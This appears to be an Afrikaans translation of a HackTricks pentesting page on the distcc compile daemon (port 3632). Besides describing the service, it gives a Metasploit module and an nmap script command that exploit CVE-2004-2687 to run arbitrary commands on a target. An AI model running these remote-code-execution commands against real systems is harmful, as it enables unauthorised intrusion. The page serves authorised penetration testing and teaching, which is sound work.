mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
3.3 KiB
3.3 KiB
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling van eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.
Basiese Inligting
Distcc is 'n instrument wat die kompilasieproses verbeter deur gebruik te maak van die onbenutte verwerkingkrag van ander rekenaars in die netwerk. Wanneer distcc op 'n masjien opgestel is, is hierdie masjien in staat om sy kompilasietaak na 'n ander stelsel te versprei. Hierdie ontvangende stelsel moet die distccd daemon laat loop en 'n verenigbare kompilator geïnstalleer hê om die gestuurde kode te verwerk.
Verstekpoort: 3632
PORT STATE SERVICE
3632/tcp open distccd
Uitbuiting
Kyk of dit vatbaar is vir CVE-2004-2687 om willekeurige kode uit te voer:
msf5 > use exploit/unix/misc/distcc_exec
nmap -p 3632 <ip> --script distcc-exec --script-args="distcc-exec.cmd='id'"
Shodan
Ek dink nie Shodan detect hierdie diens nie.
Hulpbronne
- https://www.rapid7.com/db/modules/exploit/unix/misc/distcc_exec
- https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855
Pos geskep deur Álex B (@r1p)
Leer AWS hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die offisiële PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacking-truuks deur PRs in te dien by die HackTricks en HackTricks Cloud github-repos.